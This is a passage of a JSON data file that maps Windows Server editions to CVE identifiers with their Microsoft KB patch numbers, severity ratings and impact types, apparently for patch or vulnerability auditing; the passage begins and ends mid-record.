Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3097877","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3110329","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126593","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0063","kb":"3134814","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0199","kb":"3160005","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-3351","kb":"3185319","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7241","kb":"3197655","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012583","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8464","kb":"4021903","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2008 for x64-based Systems Service Pack 2 (Server Core installation)":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3906","kb":"2901674","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3084135","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0007","kb":"3121212","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0015","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0016","kb":"3121918","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0040","kb":"3126041","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2016-0099","kb":"3139914","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-0189","kb":"3158991","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-3237","kb":"3167679","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2016-7255","kb":"3198234","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0005","kb":"4012497","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0022","kb":"3216916","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-0101","kb":"4011981","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0143","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0144","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0145","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0146","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0147","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0148","kb":"4012598","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-0199","kb":"4014793","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-0213","kb":"4018556","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-0263","kb":"4019204","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2017-11785","kb":"4041671","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-11885","kb":"4052303","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2017-8462","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8469","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8470","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8471","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8472","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8473","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8476","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8478","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8479","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8480","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8481","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8482","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8484","kb":"4022887","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8485","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8488","kb":"4022010","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8489","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8491","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8492","kb":"4022013","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8564","kb":"4022748","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8678","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8680","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8681","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8682","kb":"4039384","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2017-8683","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8684","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8685","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8687","kb":"4039384","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8708","kb":"4038874","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2017-8710","kb":"4039038","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0748","kb":"4056615","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0749","kb":"4056759","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-0824","kb":"4101477","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0886","kb":"4056564","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-0894","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0897","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0901","kb":"4089229","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-0975","kb":"4093478","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2018-8120","kb":"4131188","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8174","kb":"4134651","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8411","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8423","kb":"4463097","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2018-8440","kb":"4458010","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8453","kb":"4463097","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8544","kb":"4467706","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2018-8550","kb":"4467706","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2018-8897","kb":"4134651","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0543","kb":"4480968","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0708","kb":"4499149","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2019-0730","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0731","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0732","kb":"4493471","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2019-0735","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0796","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0805","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0808","kb":"4489880","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-0836","kb":"4493471","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2019-1458","kb":"4530695","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0642","kb":"4534303","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0668","kb":"4537810","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-0787","kb":"4541506","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1027","kb":"4550951","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1048","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1054","kb":"4556860","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1337","kb":"4571730","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2020-1464","kb":"4571730","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2020-24587","kb":"5003210","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2020-24588","kb":"5003210","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-1675","kb":"5003661","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-34527","kb":"5004955","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2021-36942","kb":"5005090","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2021-40444","kb":"5005563","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2021-40449","kb":"5006736","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-20569","kb":"5029318","severity":"Important","impact":"Information Disclosure"},{"cve":"CVE-2023-28252","kb":"5025271","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-29336","kb":"5026408","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-31096","kb":"5073697","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2023-36874","kb":"5028222","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38193","kb":"5041850","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2024-38217","kb":"5043135","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2024-49138","kb":"5048710","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-24985","kb":"5053888","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-26633","kb":"5053888","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2025-29824","kb":"5055609","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-30397","kb":"5058449","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-32706","kb":"5058449","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2025-33053","kb":"5061026","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2025-50154","kb":"5063888","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2025-53149","kb":"5063888","severity":"Important","impact":"Elevation of Privilege"}],"Windows Server 2012":[{"cve":"CVE-2013-1300","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3660","kb":"2850851","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-3893","kb":"2879017","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-5045","kb":"2898785","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2013-7331","kb":"2977629","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0295","kb":"2901127","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2014-0307","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-0322","kb":"2925418","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-1776","kb":"2964358","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4113","kb":"3000061","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-4114","kb":"3000869","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2014-6321","kb":"2992611","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2014-6332","kb":"3006226","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0002","kb":"3023266","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0004","kb":"3021674","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-0005","kb":"3002657","severity":"Important","impact":"Spoofing"},{"cve":"CVE-2015-0010","kb":"3013455","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-0016","kb":"3019978","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1635","kb":"3042553","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-1674","kb":"3050514","severity":"Important","impact":"Security Feature Bypass"},{"cve":"CVE-2015-1701","kb":"3045171","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-1722","kb":"3057839","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2426","kb":"3079904","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2433","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2455","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2456","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2458","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2459","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2460","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2462","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2463","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2464","kb":"3078601","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2502","kb":"3087985","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2507","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2512","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2524","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2525","kb":"3082089","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2527","kb":"3087039","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-2552","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2553","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-2554","kb":"3088195","severity":"Important","impact":"Elevation of Privilege"},{"cve":"CVE-2015-6100","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6101","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6103","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6104","kb":"3101746","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2015-6132","kb":"3108381","severity":"Important","impact":"Remote Code Execution"},{"cve":"CVE-2015-6152","kb":"3104002","severity":"Critical","impact":"Remote Code Execution"},{"cve":"CVE-2016-0006","kb":"3121212","severity":"Important","impact":"Elevation of 